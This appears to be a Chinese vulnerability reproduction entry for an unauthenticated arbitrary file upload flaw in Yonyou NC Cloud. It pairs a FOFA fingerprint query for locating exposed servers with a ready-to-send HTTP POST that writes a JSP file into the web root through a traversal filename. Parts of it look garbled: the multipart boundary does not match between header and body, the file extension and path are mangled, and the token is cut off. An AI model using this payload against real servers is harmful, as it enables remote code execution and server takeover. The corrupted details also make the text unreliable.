Y4-74用友-NC-文件上传

漏洞描述:

用友NC Cloud importhitipscer接口处存在任意文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

网站图片:







连接

与企业应用的链接优化,并支持企业应用在终端上的自 验相关的端服务,并对提供的服务进行应用优化。 动升级。

体验 UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造一个面向企业的端服务平台,提供改善体 社交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接, 提供企业间数据共享和连接的服务, 形成基于化 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

网络测绘:

fofa语法:

FOFA: icon hash="1596996317"

漏洞复现:

payload:

POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1

Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

Accept-Encoding: gzip, deflate

Accept:*/*
Connection: close
accessToken: eyJhbGciOiJUzUzMiJ9.eyJwa19ncm91cC161jAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGFOYXNvdXJjZS161jEiLCJsYW5nQ29kZS16InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJ
Content-Type: multipart/form-data; boundary=fd28cb44e829edlc197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0

Content-Disposition: form-data; name="file"; filename="./webapps/nc web/gwe.isp"

<% out.println("hello,nccloud");%>
--fd28cb44e829ed1c197ec3bc71748df0--

效果图:



hello,nccloud